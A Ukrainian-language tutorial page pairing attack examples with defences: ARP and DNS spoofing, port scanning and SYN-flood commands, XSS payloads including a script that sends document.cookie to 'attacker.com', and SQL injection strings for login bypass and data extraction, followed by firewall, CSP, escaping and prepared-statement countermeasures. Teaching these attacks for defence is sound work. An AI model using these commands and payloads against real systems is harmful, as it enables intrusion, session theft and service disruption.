Приклади атак та захисту

Приклади атак на мережеву безпеку

Мережеві атаки спрямовані на компрометацію мережевої інфраструктури, перехоплення трафіку або порушення доступності послуг. Розуміння цих атак дозволяє краще захистити вашу інфраструктуру.

Типи мережевих атак

  • MITM (Man-in-the-Middle) - перехоплення комунікації між двома сторонами
  • DoS/DDoS (Denial of Service) - атаки на відмову в обслуговуванні
  • ARP Spoofing - підміна ARP-таблиць для перенаправлення трафіку
  • DNS Poisoning - підміна DNS-записів для перенаправлення користувачів
  • Port Scanning - сканування портів для виявлення вразливостей

Приклади мережевих атак

network-attacks.sh

# ARP Spoofing з використанням arpspoof

$ arpspoof -i eth0 -t 192.168.1.5 192.168.1.1

# DNS Poisoning з використанням Ettercap

$ ettercap -T -q -i eth0 -P dns_spoof -M arp // //

# Port Scanning з використанням Nmap

$ nmap -sV -p 1-1000 192.168.1.1

# Перехоплення пакетів з використанням Wireshark (tcpdump)

$ tcpdump -i eth0 -n "tcp port 80"

# SYN Flood DoS-атака

$ hping3 -S --flood -V -p 80 target_ip

Захист від мережевих атак

  • Міжмережеві екрани (Firewalls) - налаштування правил для фільтрації трафіку:
    # Приклад правила iptables
    $ iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT
    $ iptables -A INPUT -p tcp --dport 22 -j DROP
  • Системи виявлення вторгнень (IDS/IPS) - моніторинг та блокування підозрілої активності:
    # Приклад правила для Snort
    alert tcp any any -> 192.168.1.0/24 80 (msg:"HTTP Traffic"; sid:1000001; rev:1;)
  • VPN та шифрування трафіку - забезпечення конфіденційності даних, що передаються:
    # Встановлення з'єднання OpenVPN
    $ openvpn --config client.ovpn
  • Сегментація мережі - розділення мережі на ізольовані сегменти для обмеження доступу.

Приклади XSS-атак (Cross-Site Scripting)

XSS-атаки дозволяють зловмисникам впроваджувати шкідливий JavaScript-код у веб-сторінки, які переглядають інші користувачі. Це може призвести до викрадення сеансів, перенаправлення та інших зловмисних дій.

Типи XSS-атак

  • Відображені XSS (Reflected XSS) - код виконується негайно і зазвичай доставляється через URL.
  • Збережені XSS (Stored XSS) - код зберігається на сервері та активується при перегляді сторінки.
  • DOM-based XSS - вразливості у клієнтському JavaScript, який модифікує DOM.

Приклади XSS-коду

xss-examples.js

// Базовий XSS для виклику alert

<script>alert('XSS');</script>

// XSS з викраденням cookie

<script>

fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));

</script>

// XSS через атрибути подій

<img src="x" onerror="alert('XSS')">

// XSS через URL-параметри (Reflected XSS)

// example.com/search?q=<script>alert('XSS')</script>

// XSS з обходом фільтрів

<img src="javascript:alert('XSS')">

<div onmouseover="alert('XSS')">Наведіть на мене</div>

Захист від XSS-атак

  • Екранування даних - перетворення спеціальних символів на їх HTML-сутності:
    // Перетворення
    & → &amp;
    < → &lt;
    > → &gt;
    " → &quot;
    ' → &#x27;
    / → &#x2F;
  • Content Security Policy (CSP) - додавання HTTP-заголовка:
    Content-Security-Policy: default-src 'self';
  • HttpOnly та Secure флаги для cookies - запобігання доступу до cookie через JavaScript.
  • Валідація введення - перевірка всіх даних користувача на відповідність очікуваному формату.

Приклади SQL-ін'єкцій

SQL-ін'єкції дозволяють зловмисникам виконувати довільні SQL-запити до бази даних через вразливі точки введення. Ця вразливість може призвести до витоку конфіденційних даних або їх модифікації.

Основні типи SQL-ін'єкцій

  • Базові SQL-ін'єкції - прості маніпуляції з SQL-запитами
  • Сліпі SQL-ін'єкції - коли результати запиту не відображаються напряму
  • Time-based SQL-ін'єкції - використання часових затримок для підтвердження вразливості
  • Union-based SQL-ін'єкції - використання оператора UNION для об'єднання результатів

Приклади SQL-ін'єкцій

sql-injection-examples.sql

-- Базовий приклад для обходу аутентифікації

username: admin' --

password: (будь-який)

-- Запит, який виконується:

SELECT * FROM users WHERE username='admin' --' AND password='(будь-який)';

-- Отримання даних за допомогою UNION

' UNION SELECT username, password FROM users --

-- Вивід версії бази даних (MySQL)

' UNION SELECT 1, version() --

-- Вивід таблиць бази даних (MySQL)

' UNION SELECT 1, table_name FROM information_schema.tables --

-- Time-based ін'єкція (MySQL)

' OR IF(1=1, SLEEP(5), 0) --

-- Сліпа ін'єкція з BOOLEAN операціями

' OR (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a' --

Захист від SQL-ін'єкцій

  • Підготовлені запити (Prepared Statements) - розділення запиту і даних:
    // PHP приклад
    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
    $stmt->execute([$username]);
    
    // Node.js приклад
    const stmt = db.prepare("SELECT * FROM users WHERE username = ?");
    const user = stmt.get(username);
  • ORM (Object-Relational Mapping) - використання бібліотек для абстракції SQL-запитів.
  • Валідація введення - перевірка типів та форматів даних перед використанням.
  • Мінімальні привілеї - надання мінімально необхідних прав доступу до бази даних.

Інші рекомендації з безпеки

  • CORS (Cross-Origin Resource Sharing) - правильне налаштування заголовків для контролю міждоменних запитів:
    Access-Control-Allow-Origin: https://trusted-site.com
    Access-Control-Allow-Methods: GET, POST
    Access-Control-Allow-Headers: Content-Type, Authorization
  • CSRF (Cross-Site Request Forgery) - захист за допомогою Anti-CSRF токенів:
    <input type="hidden" name="csrf_token" value="unique-token-value">
  • Безпечна конфігурація HTTP-заголовків:
    X-XSS-Protection: 1; mode=block
    X-Content-Type-Options: nosniff
    X-Frame-Options: DENY
    Strict-Transport-Security: max-age=31536000; includeSubDomains
  • HTTPS - використання захищеного з'єднання для всіх видів комунікації.
  • Регулярне оновлення залежностей - для усунення відомих вразливостей.